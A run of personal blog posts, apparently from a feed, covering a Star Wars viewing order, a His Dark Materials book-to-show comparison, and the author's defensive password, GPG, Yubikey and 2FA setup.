<p>With the emergence of UPI, and low penetration rate of credit cards, I don’t see a market in India - but I’d love to be proven wrong.</p>
<hr />
<p>Did I miss anything? <a href="/contact/">Reach out</a> and let me know.</p>
<p>Thanks to <a href="https://twitter.com/thatharmansingh">Harman</a> for reviewing drafts of this, and PRL for getting me interested enough to document this.</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>Curve used to live on <code class="language-plaintext highlighter-rouge">imaginecurve.com</code>, then switched to <code class="language-plaintext highlighter-rouge">curve.app</code> and now to <code class="language-plaintext highlighter-rouge">curve.com</code>, which must have cost them millions. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p>Unlike others on the list, vCard is entirely a virtual card, and supports UPI transfers from your credit limit. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
His Dark Materials Season 1 Readthrough2020-06-07T00:00:00+00:00https://captnemo.in/blog/2020/06/07/his-dark-materials<p>A long time ago, I tried to <a href="https://captnemo.in/blog/2011/04/19/game-of-thrones/">do a readthrough</a> for Game of Thrones (Book 1) alongside the first season. I managed to reach Episode 5, before I sped through the rest of the book, but I tried.</p>
<p>Trying something similar for His Dark Materials, which is a great series if you’re looking to watch something new. Instead of noting down Chapter/Book equivalence (like I tried last time), going to write down my thoughts here as I’m reading along. <strong>Spoiler Warning</strong> for the entire first season obviously.</p>
<h2 id="overall">Overall</h2>
<p>The show is very tightly knit with the book with a few over-arching changes from the story-telling perspective:</p>
<ul>
<li>You get to see other points-of-view, other than just Lyra. Helps establish what else is happening, especially in the other worlds.</li>
<li>A lot of infodumps are prevented, or better, broken down into multiple sessions.</li>
<li>The major change from the first book is ofcourse showing Will’s PoV and our earth.</li>
</ul>
<h2 id="chapter-1">Chapter 1</h2>
<ul>
<li>The opening scene with the great flood sets some context, but isn’t in the books.</li>
<li>The Master/Butler chat on the wine poisoining happens much later in the books.</li>
<li>There is a lot of foreshadowing around Lyra’s parentage that happens in the first 2 chapters that is entirely missed in the show.</li>
</ul>
<h2 id="chapter-2">Chapter 2</h2>
<ul>
<li>The entire Grumman’s skull and hunt sub-plot hasn’t shown up in the book so far (presumably because we only see Lyra’s PoV).</li>
<li>The party scene is very-well handled (with all the subtle changes for the better. Superb acting as well :)</li>
<li>The hiding-lyra-in-the-boat scene is merely given a passing mention in the book, but so well done in the show.</li>
</ul>
<h2 id="chapter-3">Chapter 3</h2>
<ul>
<li>Splitting Lyra’s parentage reveal (Coulter reveals her father) is a smart move in the show.</li>
<li>The show changes Lyra’s kidnappers from Turkish slavers to Gobblers.</li>
<li>The Alethiometer reveal happens with both Father Coram and John Fa in the book. The section also has a huge infodump, especially since it involves the parentage reveal. The show breaks it into 3: alethiometer reveal with Father Coram, a previous interrogation of Lyra with John Fa, and Lyra’s parentage reveal (mother) with Ma Costa.</li>
</ul>
<h2 id="chapter-4">Chapter 4</h2>
<ul>
<li>The one notable “not-in-the-book” scene is the Coulter’s meeting with Iofur.</li>
</ul>
<h2 id="chapter-5">Chapter 5</h2>
<ul>
<li>Interesting to note that the characters of Billy and Roger are fused in both the film and the TV adaptations.</li>
</ul>
<h2 id="chapter-6">Chapter 6</h2>
<ul>
<li>Lyra starts a fire in the books, but the show makes it more dramatic by destroying the machine.</li>
<li>The balloon ride covers a lot more in the books.</li>
</ul>
<h2 id="learnings">Learnings</h2>
<p>Overall, the show has been nicely adapted so far, and I think there’s a few reasons:</p>
<ol>
<li>The show barely messes with Lyra’s timeline. Important to ensure this to avoid creating cascading issues down the path.</li>
<li>Majority of the changes are either made on kill-able subplots, or side-plots that show us what’s going on elsewhere.</li>
<li>And finally, the show spends time on where the medium works best. The scaring scene in Chapter 2, for eg.</li>
</ol>
<p>I’m still sad that the ghosts in the crypt don’t get to be seen, though.</p>
Star Wars Beskar Viewing Order2020-05-04T00:00:00+00:00https://captnemo.in/star-wars-viewing-order<p>I tweeted out my recommended viewing order for Star Wars recently<sup id="fnref:0" role="doc-noteref"><a href="#fn:0" class="footnote" rel="footnote">1</a></sup>:</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Happy <a href="https://twitter.com/hashtag/StarWarsDay?src=hash&ref_src=twsrc%5Etfw">#StarWarsDay</a> folks. If you've somehow managed to avoid watching Star Wars, here's my recommended viewing order (No Spoilers, 1/n) <a href="https://t.co/K70O4ydCB7">pic.twitter.com/K70O4ydCB7</a></p>— Nemo (@captn3m0) <a href="https://twitter.com/captn3m0/status/1257316569949990914?ref_src=twsrc%5Etfw">May 4, 2020</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>Thought I should expand a bit on the what and why. Spoilers towards the end (marked). I also went ahead and named it:</p>
<h1 id="the-beskar-order">The Beskar Order</h1>
<ol>
<li>Rogue One: A Star Wars Story</li>
<li>Star Wars: Episode IV - A New Hope.</li>
<li>Star Wars: Episode V - The Empire Returns</li>
<li>Star Wars: Episode VI - Return of the Jedi</li>
<li>The Mandalorian (S01E01-04)</li>
<li>Star Wars: Episode VII - The Force Awakens</li>
<li>The Mandalorian (S01E05-08)</li>
</ol>
<hr />
<p>If you’ve enjoyed the above, you should pick between the following 2 next:</p>
<ol>
<li>If you liked the core Skywalker Saga (Episodes IV-VI), and want to explore Anakin’s origins - Go and watch the prequel trilogy (Episode I, II, III).</li>
<li>If you liked Force Awakens, you should go finish the sequels (Star Wars Episode VIII, IX)</li>
</ol>
<p>In either case, I want to leave this as a choice to the viewer. The prequel trilogy has a lot of flaws. <a href="https://www.nomachetejuggling.com/2011/11/11/the-star-wars-saga-suggested-viewing-order/">The Machete order</a> famously <em>drops an entire film</em>, and it wasn’t even trying to make room. Go to the prequels if you want to explore the lore. On the flip side, if you liked how Disney handled Episode VII, and want to see closing arcs for the major characters, try the sequels. I wouldn’t recommend interleaving them - it doesn’t get you much and makes it confusing.</p>
<p>If you’re still here after finishing both of these (that makes for a total of 10 films and 1 season of telly) - you ought to explore for yourselves. Here’s suggestions depending on what you’d like:</p>
<dl>
<dt>Clone Wars (TV Series, 7 seasons)</dt>
<dd>for exploring the franchise at a less grand scale. There’s an <a href="https://io9.gizmodo.com/the-essential-clone-wars-stories-every-star-wars-fan-sh-1842597580">Essential viewing order</a>, which covers all the major arcs and best episodes.</dd>
<dt>The Mandalorian (Season 2, Oct 2020)</dt>
<dd>To find out what happens to Baby Yoda</dd>
<dt>Star Wars: Rebels (TV Series, 4 Seasons)</dt>
<dd>If you want to explore new characters and like something Firefly-esque.</dd>
</dl>
<p>There are boardgames, RPGs, and some really great books in the franchise as well. Pick what you’d like to explore.</p>
<hr />
<h2 id="inspiration">Inspiration</h2>
<p>The classic <a href="https://www.nomachetejuggling.com/2011/11/11/the-star-wars-saga-suggested-viewing-order/">Machete Order</a> which does a lot of great things, by skipping a film, preserving tension and plot-twists. Also of note are the <a href="https://www.inverse.com/article/10533-these-are-the-5-best-star-wars-fan-edits">various fan-edits</a>, of which I’ve only ever tried <a href="https://en.wikipedia.org/wiki/The_Phantom_Edit">The Phantom Edit</a>.</p>
<h2 id="rationale">Rationale</h2>
<p>I tried to optimize for a few things:</p>
<ol>
<li>Fun while watching the series. So good stuff comes first, paired films etc, and intentionally including The Mandalorian.</li>
<li>Easy stoppage. In case you don’t like the series, you should be able to stop midway, and still have seen the important/best bits.</li>
<li>Sticking to chronological order in the stuff I picked (as much as possible). Sticking to chronology makes it easier to consume.</li>
<li>Total time. I don’t want to prescribe a “complete-viewing-order”, but rather a “starting point”.</li>
</ol>
<p>(1) is easy to optimize for. (2/3) results in things getting thrown around a bit, and (4) means I leave out stuff that you should pick for later.</p>
<h2 id="why-not-include-__">Why not include <em>__</em>?</h2>
<p>This is not meant to be an exhaustive order, and I was optimizing for total time. Important mentions:</p>
<dl>
<dt>Solo</dt>
<dd>Not really essential viewing.</dd>
<dt>Star Wars: The Clone Wars</dt>
<dd>The film is terrible (5.9 on IMDB), because it wasn’t meant to be one.</dd>
<dt>Star Wars: The Clone Wars TV Series</dt>
<dd>I wanted to stick to the main saga, and its just too damn long to recommend casually in any viewing order.</dd>
<dt>Star Wars: Holiday Special</dt>
<dd>I still can’t bring myself to finish it. It isn’t even canon any more (Life Day is)</dd>
<dt>Legends/Resistance</dt>
<dd>Again, not essential viewing.</dd>
</dl>
<h1 id="faq">FAQ</h1>
<dl>
<dt>Who is this for?</dt>
<dd>Recommended for first-time viewers. If you are doing a rewatch, I recommend following <a href="#beskar-machete-order">The Beskar Machete order</a>.</dd>
<dt>Have you watched everything Star Wars?</dt>
<dd>I can’t even claim to have watched all 12 films, because I couldn’t finish The Clone Wars (movie). I’m still watching Clone Wars (TV series).</dd>
<dt>Why Beskar?</dt>
<dd>I wanted something that would work well with Machete, for the hybrid order. It also makes a point about <em>The Mandalorian</em> <sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">2</a></sup> belonging in the order.</dd>
<dt>I don’t have this much time!</dt>
<dd>I’ve tried to optimize for viewing time already. If you wanna trim further - you’ll be left with just the original trilogy (Episode IV, V, VI). Alternatively, just watch <em>The Mandalorian</em> - it stands very well by itself.</dd>
<dt>Did you backdate this post while publishing?</dt>
<dd>Yes. I wrote it just a few days after May 4th, and thought it would be nice.</dd>
</dl>
<hr />
<h2 id="more-rationale-spoilers-ahead">More Rationale (SPOILERS AHEAD)</h2>
<p><strong>SPOILERS FROM HERE ONWARDS FOR ALL 12 FILMS. READ AT YOUR OWN PERIL</strong></p>
<dl>
<dt>Why start with Rogue One?</dt>
<dd>
<p>Rogue One is a great film, and I love how well it segues into A New Hope. Watching them both back-to-back makes for a great experience. You have this ragged group that has laid down their lives for just a memory chip - and you get to see that bloom into an entire saga. Finishing the original trilogy from there makes sense. The Machete order <a href="https://www.nomachetejuggling.com/2015/12/28/machete-order-update-and-faq/#toc-where-do-episode-vii-and-rogue-one-fit">strongly recommends against starting</a> with Rogue One, but I’ve tried it and it works.</p>
</dd>
<dt>Why not stick with the Machete order as well?</dt>
<dd>The Machete order goes (IV, V, II, III, VI), deciding to leave out Episode I, and wedging Episodes II, III before you see Return of the Jedi. I was optimizing for time here a bit, and I had to leave the prequels as “for-later” in order to make space for the remaining. If you’re doing a rewatch, and aren’t short on time - you can totally follow it. This is what it morphs into:<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup>
<details>
<summary id="beskar-machete-order"><strong>Beskar Machete Order</strong></summary>
<ul>
<li>Rogue One: A Star Wars Story</li>
<li>Star Wars: Episode IV - A New Hope</li>
<li>Star Wars: Episode V - The Empire Returns</li>
<li>Star Wars: Episiode II - Attack of the Clones</li>
<li>Star Wars: Episode III - Revenge of the Sith</li>
<li>Star Wars: Episode VI - Return of the Jedi</li>
<li>The Mandalorian (S01E01-04)</li>
<li>Star Wars: Episode VII - The Force Awakens</li>
<li>The Mandalorian (S01E05-08)</li>
<li>Star Wars: Episode VIII - The Last Jedi</li>
<li>Star Wars: Episode IX - The Rise of Skywalker</li>
</ul>
</details>
</dd>
<dt>Why add the Mandalorian at all?</dt>
<dd>Because frankly - it is both a piece of art, and the best entry into the Star Wars canon in a long time. It also fits into chronological order just after Return of the Jedi - you see how the New Republic has been incompetent, and the ashes of the Empire. You get to experience the power vaccuum in the galaxy, which hopefully makes sense before jumping into The Force Awakens and rise of the First Order.</dd>
<dt>Why jump to Episode VII (The Force Awakens) instead of finishing The Mandalorian?</dt>
<dd>We jump a bit ahead (before finishing The Mandalorian) to “A Force Awakens”, getting to just the start of Rey’s story. This is the only “chronology break” in the order, but has no side-effects<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">4</a></sup>. The reason for the jump (as opposed to finishing The Mandalorian first) is to have a switch in pace. While I love The Mandalorian, I think pacing it out makes it better.</dd>
<dt>Why keep Episode VII (The Force Awakens) but not the other sequels?</dt>
<dd>The best and the worst thing about <em>The Force Awakens</em> is that it is very much “Star Wars”. It doesn’t take any risks, sticks to the tropes, and more importantly - it closes mostly as a self-contained film. Yes, there are a few plot-hooks (Rey’s parentage, Luke, Finn’s coma), but given how badly they are resolved in the following films - it seems Disney didn’t have any better idea to the answers than the viewers. It also gives you a “tasting experience” of the sequels. The sequels have always been polarizing, and watching it gives you a better heading to make the choice b/w Prequels/Sequels later on in the order.</dd>
</dl>
<p>We close with The Mandalorian finale. The Mandalorian isn’t, strictly speaking, essential viewing. While there are hooks, it doesn’t really change anything of consequence to the main saga (at least not in Season 1). But frankly, it is so well made - you deserve to enjoy it. Just look at the trailer:</p>
<iframe width="700" height="393" src="https://www.youtube-nocookie.com/embed/aOC8E8z_ifw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
<p>If you have feedback, <a href="https://twitter.com/captn3m0">send me a tweet</a>. If you’re reading this in the future, note that this was written in May 2020 and could not include media yet to be published.</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:0" role="doc-endnote">
<p>Happy Star Wars Day! <a href="#fnref:0" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:4" role="doc-endnote">
<p><a href="https://starwars.fandom.com/wiki/Beskar">Beskar</a> is the Star Wars universe’s Vibranium, and features majorly in The Mandalorian as a minor plot device. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:3" role="doc-endnote">
<p>The arguments against starting with Rogue One don’t even apply to rewatches, so we ignore the Machete Guideline to keep it to the end. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:1" role="doc-endnote">
<p>In other words, watching <em>The Force Awakens</em> can’t alter the experience of watching the last few episodes of The Mandalorian season 1. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
My Setup: Passwords, 2FA, and Yubikeys2020-01-04T00:00:00+00:00https://captnemo.in/blog/2020/01/04/security-setup<p>I upgraded my encryption setup recently, so I thought I should write about it,
just in case it is helpful to someone else. As a security professional, I have a
different threat model from most folks, and as such my setup does involve a bit
more complexity than what I’d recommend to everyone. But if you are an at-risk
individual (journalist, person holding hundreds of bitcoins or other digital
assets, activist) or if you are a linux user with a lot of free time - you might
consider duplicating some of this.</p>
<p><a href="/img/full-keychain.jpg"><img src="/img/keychain-small.jpg" alt="Header Image of my keychain, with a Tile, Yubikey, USB Disk, and house keys" /></a></p>
<p>I’ll discuss some of the other approaches I’ve considered, and my thought
process around each choice I made. There are general recommendations at the
<a href="#what-do-you-recommend-i-use" title="Yes, you can skip the blog post with this link. I won't mind">bottom of the post</a>.</p>
<h2 id="passwords">Passwords</h2>
<p>I used to be on LastPass till 2017<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">1</a></sup>, when I migrated to [<code class="language-plaintext highlighter-rouge">pass</code>][pass] (“the
standard unix password manager”). With pass, each password lives inside of a gpg
encrypted file whose filename is the title of the website or resource that
requires the password.</p>
<p><code class="language-plaintext highlighter-rouge">pass</code> automatically manages a git repository for you, which I sync against
GitLab. The one downside of using <code class="language-plaintext highlighter-rouge">pass</code> is that the list of my domains is
visible to my hosting provider. <sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">2</a></sup> In the past, I’ve set this up against
Keybase Encrypted Git (Keybase doesn’t get to see even the file list), and my
own git-server (only I get to see it).</p>
<p>I don’t push it to GitHub, since most of my stuff lives on GitHub anyway, and I
didn’t want to add my passwords there as well. GitLab uptime is decent enough
for my usecase<sup id="fnref:7" role="doc-noteref"><a href="#fn:7" class="footnote" rel="footnote">3</a></sup>. Finally, my GitLab account is fairly locked down with:</p>
<ul>
<li>zero integrations or third-party apps</li>
<li>no active personal tokens</li>
<li>social signin disabled</li>
<li>only yubikey SSH key configured</li>
</ul>
<h3 id="mobile-passwords">Mobile Passwords</h3>
<p>There are 2 primary considerations I have:</p>
<ol>
<li>Using <code class="language-plaintext highlighter-rouge">pass</code> involves GPG keys, and I can’t use hardware GPG keys on my
current device (iPhone SE).</li>
<li>I don’t want to sync all my passwords to my phone. I have a limited number of
applications on my device, and syncing all passwords doesn’t make sense.</li>
</ol>
<p>For the first issue, I am forced to use a PGP key in software on
[passforios][passforios]. If you are on Android, take a look at
[OpenKeychain][okc], and Fidesmo/Yubikey NFC.</p>
<p>For the second issue, I use <code class="language-plaintext highlighter-rouge">pass cp</code>, and the <code class="language-plaintext highlighter-rouge">.gpg-id</code> file, which allows me
to maintain a <code class="language-plaintext highlighter-rouge">mobile-sync</code> directory inside my pass git repository encrypted
against a different key. From the <code class="language-plaintext highlighter-rouge">pass</code> documentation:</p>
<h4 id="password-storegpg-id"><code class="language-plaintext highlighter-rouge">~/.password-store/.gpg-id</code></h4>
<blockquote>
<p>Contains the default gpg key identification used for encryption and
decryption. Multiple gpg keys may be specified in this file, one per line. If
this file exists in any sub directories, passwords inside those sub
directories are encrypted using those keys. This should be set using the init
command.</p>
</blockquote>
<p>My <code class="language-plaintext highlighter-rouge">~/.password-store/mobile-sync/.gpg-id</code> file holds 2 keys: My main encryption
key, and the key I’ve configured on my phone.</p>
<p>Unfortunately, I haven’t gotten it working well as a git submodule, so I have a
helper script that copies the encrypted password files from <code class="language-plaintext highlighter-rouge">mobile-sync</code>
subdirectory to a different repository (<code class="language-plaintext highlighter-rouge">mobile-passwords.git</code>). The script is
just 2 lines:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp</span> <span class="nt">-r</span> ~/.password-store/mobile-sync/<span class="k">*</span>.gpg <span class="nb">.</span>
git-sync
</code></pre></div></div>
<p>It updates the git repository, and runs a sync to push any local changes to my
mobile-passwords repository. I can pull that on my passforios application. I
could also clone the entire repo, but the iOS app doesn’t work nicely with a
single-subdirectory approach.</p>
<h2 id="gpg">GPG</h2>
<p><code class="language-plaintext highlighter-rouge">pass</code> relies on GPG, and as such I require a strong key setup. I have the
following:</p>
<ol>
<li>2xYubikey 4 (Doesn’t have NFC)</li>
<li>Fidesmo Smartcard, currently unused</li>
</ol>
<p>Both the Yubikeys are configured against my GPG Encryption key. I carry one of
the Yubikeys on my keyring with me. The backup Yubikey stays at my home.</p>
<p>I followed <a href="https://github.com/drduh/YubiKey-Guide#multiple-keys">this guide</a>
while configuring the same. As of now, switching between keys is not very
user-friendly, but future
<a href="https://dev.gnupg.org/T2291">GnuPG versions plan to fix it</a>. The Yubikey holds:</p>
<ul>
<li>An encryption key</li>
<li>A signing key</li>
<li>An authentication key</li>
</ul>
<p>I keep a copy of all these keys using
<a href="https://wiki.archlinux.org/index.php/Paperkey">paperkey</a> as per the same guide.
I have a subkey backup as well, since Yubikeys are known to fail<sup id="fnref:8" role="doc-noteref"><a href="#fn:8" class="footnote" rel="footnote">4</a></sup>.</p>
<h2 id="ssh">SSH</h2>
<p>The Authentication key in my Yubikey is configured for SSH. I just need to
ensure that my GPG agent is configured for SSH as well:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">GPG_TTY</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">tty</span><span class="si">)</span><span class="s2">"</span>
<span class="nb">export </span><span class="nv">SSH_AUTH_SOCK</span><span class="o">=</span><span class="si">$(</span>gpgconf <span class="nt">--list-dirs</span> agent-ssh-socket<span class="si">)</span>
gpgconf <span class="nt">--launch</span> gpg-agent
</code></pre></div></div>
<h2 id="u2f">U2F</h2>
<p>U2F lets me use a physical key as my second-factor on supported websites (as an
alternative to SMS/TOTP). I configure both of my Yubikeys for U2F wherever
possible (Twitter/AWS are notable exceptions and only support a single key). U2F
support for [OpenSSH][ssh-u2f] is coming soon. So you can soon authenticate to
your server with the Yubikey+PIN, and finish the 2FA with U2F by tapping the
key<sup id="fnref:11" role="doc-noteref"><a href="#fn:11" class="footnote" rel="footnote">5</a></sup>.</p>
<h2 id="root-of-identity">Root-of-Identity</h2>
<p>For most people, the root of identity comes down to ownership of their email
address. As such, it is very often the juiciest target for most attackers. I run
my mail against <a href="https://www.migadu.com">Migadu</a>, a privacy friendly swiss
email-hosting service. They provide me a management layer for managing my
domains which uses my GMail account. (See FAQ for why). I also have 2FA (TOTP
only) configured on the Migadu management setup.</p>
<p>The domain is currently registered at a Indian registrar (which doesn’t offer
U2F, but I do have TOTP configured). I would have moved this to CloudFlare, but
CloudFlare doesn’t support the <code class="language-plaintext highlighter-rouge">.in</code> TLD yet.<sup id="fnref:6" role="doc-noteref"><a href="#fn:6" class="footnote" rel="footnote">6</a></sup></p>
<p>The email address used for registring the domain again is my GMail. My DNS is
configured on CloudFlare, which again uses my GMail and has appropriate 2FA
configured. (It doesn’t support U2F). So here’s the list of critical providers:</p>
<table>
<thead>
<tr>
<th>Provider</th>
<th>What can an attacker do</th>
<th>Auth</th>
<th>2FA</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regisrar/Mitsu</td>
<td>Change my nameserver, read any future email, reset passwords</td>
<td>GMail/Password</td>
<td>TOTP</td>
</tr>
<tr>
<td>DNS/CloudFlare</td>
<td>Change my MX records, read any future emails, reset passwords</td>
<td>GMail/Password</td>
<td>TOTP</td>
</tr>
<tr>
<td>Email/Migadu</td>
<td>Reset my email password, read my current emails, reset passwords</td>
<td>GMail/Password</td>
<td>TOTP</td>
</tr>
<tr>
<td>GMail</td>
<td>Reset passwords for the above 3 accounts</td>
<td>Email/Password</td>
<td>U2F</td>
</tr>
</tbody>
</table>
<p>As you can see, I end up trusting GMail a lot here.</p>
<h2 id="recoverybackup-codes-and-security-questions">Recovery/Backup codes and Security Questions</h2>
<p>I use randomly generated UUIDs as answers to security questions. Currently, I’m
storing these for various services within the same password store. As it stands,
I can’t get access to my password OR recovery token without my Yubikey and PIN.
The access Matrix looks like this:</p>
<table>
<thead>
<tr>
<th>What</th>
<th>Physical Access</th>
<th>Additional Authentication</th>
</tr>
</thead>
<tbody>
<tr>
<td>Password</td>
<td>Yubikey</td>
<td>PIN</td>
</tr>
<tr>
<td>U2F-2FA</td>
<td>Yubikey</td>
<td>Physical touch</td>
</tr>
<tr>
<td>TOTP</td>
<td>Phone</td>
<td>TouchID</td>
</tr>
<tr>
<td>Recovery Code</td>
<td>Yubikey</td>
<td>PIN</td>
</tr>
<tr>
<td>Security Question answers</td>
<td>Yubikey</td>
<td>PIN</td>
</tr>
</tbody>
</table>
<h2 id="failure-scenarios">Failure Scenarios</h2>
<p>There are lots of failure scenarios with such a setup, and while I’ve got a
pretty spotless record of not getting hacked - I’m not immune to screwups.
Here’s all the bad things that can happen:</p>
<h3 id="yubikey-failures">Yubikey failures</h3>
<p>If my Yubikey fails (or if I forget its PIN), I can’t access passwords on my
device. I still have access to commonly used passwords and my mail on my phone.
My backup Yubikey is kept safely at my home. If I lose both, I have the paperkey
backup at home (which I should store elsewhere).</p>
<h3 id="device-failures">Device failures</h3>
<p>I have a current version of the password repository against 3 PCs, and a partial
version in my mobile. If all these 4 devices fail at once, I can still clone a
fresh version of the repository with my YubiKey (I would still have GitLab SSH
access). I might need to prepare better for this though, since configuring
GPG-SSH might not always be easy during an incident.</p>
<p>As a alternate scenario, my phone GPG key does have my GitLab password, so I can
clone the repo over HTTPS (with password) if needed.</p>
<h3 id="circular-dependency-against-gitlab">Circular dependency against GitLab</h3>
<p>My GitLab password is randomly generated and stored in the same password store
on GitLab. That is not too big of an issue, because I don’t need the GitLab
password anymore to clone my passwords repo, just my Yubikey (for SSH).</p>
<h3 id="lost-key">Lost Key</h3>
<p>If I lose my key, the GPG card contains public info, including my email address,
which can be used to contact me. I have a [Tile bluetooth tracker][tile] on my
keychain to make it easier for me to find it.</p>
<h3 id="malware">Malware</h3>
<p>A hardware key doesn’t protect you from all attacks. At the end of the day, my
passwords must be decrypted by the key and passed unencrypted back to my browser
(or editor). <code class="language-plaintext highlighter-rouge">pass</code> for eg, doesn’t protect against memory scraping attacks. If
I edit a password on an infected machine, it gets that password.</p>
<p>If my browser has a malicious extension, it already has keys to the kingdom. But
if I then log into a website, it does get access to that password additionaly.</p>
<p>xkcd 1200 famously illustrates this:</p>
<p><a href="https://xkcd.com/1200/"><img src="https://imgs.xkcd.com/comics/authorization_2x.png" alt="xkcd 1200" /></a></p>
<p>A password vault protected by a hardware key protects against some attacks:</p>
<ul>
<li>A malicious extension can’t sniff my vault passphrase, since I don’t have one</li>
<li>The key can’t be exfiltrated from hardware.</li>
</ul>
<p>However, a malware can connect to my authenticated GPG socket, and start
decrypting things. To prevent against that, I run my Yubikey in “touch-only”
mode, so it requires a “physical touch” before it actually does anything, even
if the PIN is cached. Customizability is
<a href="https://support.yubico.com/hc/en-us/articles/360016614940-YubiKey-Manager-CLI-ykman-User-Manual">dependent on your Yubikey model</a>.
But remember the xkcd warning - if I have a malware running on my device, it is
pretty much game over anyway. <code class="language-plaintext highlighter-rouge">pass</code> doesn’t prevent against memory scraping
attacks, and actually uses <code class="language-plaintext highlighter-rouge">/dev/shm</code> to store the temporary plain-text files
containing passwords. Ultimately, your identity is as secure as the device you
trust it with.</p>
<h2 id="improvements">Improvements</h2>
<p>If you have any suggestions for any of the below, I’m
<a href="/contact">happy to hear them</a>.</p>
<h3 id="travel-plans">Travel Plans</h3>
<p>Since my backup key stays at home, how do I deal with long-term travel? This is
something I’m still figuring out. Do I take my backup Yubikey on my
longer-travels? Or should I setup a third-key before I do that? Chances of me
losing both the keys together are quite high, so I’m trying to avoid that.</p>
<h3 id="domain-ownership">Domain Ownership</h3>
<p>I’d like to transfer my domain to
<a href="https://twofactorauth.org/#domains">a registrar that supports U2F</a>, likely
Namecheap since I already own some domains there<sup id="fnref:5" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">7</a></sup>. If you use CloudFlare,
they should roll out
<a href="https://community.cloudflare.com/t/u2f-for-logins/17583/34">U2F support soon</a>.</p>
<h3 id="2fa-recovery-guides">2FA Recovery Guides</h3>
<p>I wish more organizations published what they consider as valid 2FA recovery
mechanisms. GitHub supports 2FA recovery by proof of SSH keys or Personal
Tokens; Migadu just needs a few domain names from your account, and lots of
services require proof-of-identity.</p>
<p>A lot of this is undocumented, and I wish organizations were more public about
this so users can take appropriate measures and understand their risk better.</p>
<h3 id="fidesmo-card">Fidesmo Card</h3>
<p>I’m planning to configure my Fidesmo card against my existing GPG/SSH key, so it
stays in my wallet to improve redundancy. Unfortunately, it is not supported on
iOS, so I plan to get a NFC reader/writer and test that out. This also helps
with travel plans a bit, since I’m less likely to lose my wallet
anecdotally(which also has [a bluetooth tracker][slim]).</p>
<h3 id="u2f-on-iphone">U2F on iPhone</h3>
<p>U2F support on Mobile Safari is non-existent. Brave recently added support for
the upcoming Yubikey 5Ci, which supports both USB-C and lightning. However, this
requires a special Yubikey SDK, which breaks the idea of U2F being
interoperable. The 5Ci is also quite costly at $70. I don’t know of any
application that is actually supporting GPG-over-Yubikey-over-lightning.</p>
<p>Compare this to Android where NFC based smartcards or Yubikeys just work. I’d
like that to happen with iPhones.</p>
<h3 id="full-disk-encryption-using-a-yubikey">Full Disk Encryption using a Yubikey</h3>
<p>It is possible to configure
<a href="https://github.com/agherzan/yubikey-full-disk-encryption">Full Disk Encryption with Yubikeys</a>,
but I haven’t tried it yet.</p>
<h3 id="2fa-on-my-email-account">2FA on my email account</h3>
<p>Migadu currently <em>does not support 2FA on webmail access</em>, just on
<code class="language-plaintext highlighter-rouge">manage.migadu.com</code>. This is very unfortunate, but I’m told this is planned soon
(January 2020).</p>
<h3 id="recoverybackup-codes-and-security-questions-1">Recovery/Backup codes and Security Questions</h3>
<p>My current setup of saving recovery codes alongside passwords isn’t optimal, but
I don’t have a better way either. I’ve considered keeping my recovery codes on a
alternate password store (such as bitwarden, or keypassX), but I’ll have to
memorize the password, and setup a separate 2FA for it to be truly
fault-tolerant.</p>
<h2 id="faq">FAQ</h2>
<h3 id="why-do-you-have-stuff-configured-on-your-gmail-arent-you-anti-google">Why do you have stuff configured on your GMail? Aren’t you anti-Google?</h3>
<p>Despite all the flak that Google gets for privacy, their security team is pretty
awesome. Your account is pretty much unhackable once you are enrolled into their
Advanced Protection Program. The few security-sensitive places where I use it
are:</p>
<ol>
<li>Domain Registration</li>
<li>Email Management</li>
<li>DNS Configuration</li>
</ol>
<p>Everywhere else, I use my actual domain (<code class="language-plaintext highlighter-rouge">captnemo.in</code>) to ensure nothing else
routes over GMail. Using GMail for the above 3 ensures that I don’t have a
circular dependency. If I were to lose my main email password, I can recover via
multiple ways:</p>
<ol>
<li>Change DNS to another email provider.</li>
<li>Reset password via migadu admin panel.</li>
</ol>
<p>Ensuring that either of these workflows do not rely on the same email account
I’ve just lost access to is vital. Another alternative is to use a
trusted-friend (ideally someone more paranoid than me) as a proxy for these
emails, and use their domain for managing these 2 services. Might get around to
it someday.</p>
<p>My GMail recovery email is set to my main account, so it creates a circular
dependency, but one that I actually want.</p>
<h3 id="what-do-you-recommend-i-use">What do you recommend I use?</h3>
<ul>
<li><a href="https://bitwarden.com/">Bitwarden</a> for password management.</li>
<li>2x<a href="https://amzn.to/2ZHMDZU">HyperFIDO Mini U2F</a> Keys configured for second
factor <a href="https://www.dongleauth.com/">against as many accounts as possible</a>.
U2F is not only safer, but much more convenient than TOTP/SMS based 2FA. For
iPhone/USB-C users, see
<a href="https://www.yubico.com/products/compare-yubikey-5-series/">the Yubico website</a>.
If you don’t like to pay the USB-C tax, there are cheap
<a href="https://www.aliexpress.com/item/4000077099764.html">USB-C to miniUSB</a>
adapters that can work with the HyperFIDO key and fit on your keychain. If you
aren’t convinced on why this is a good idea, see
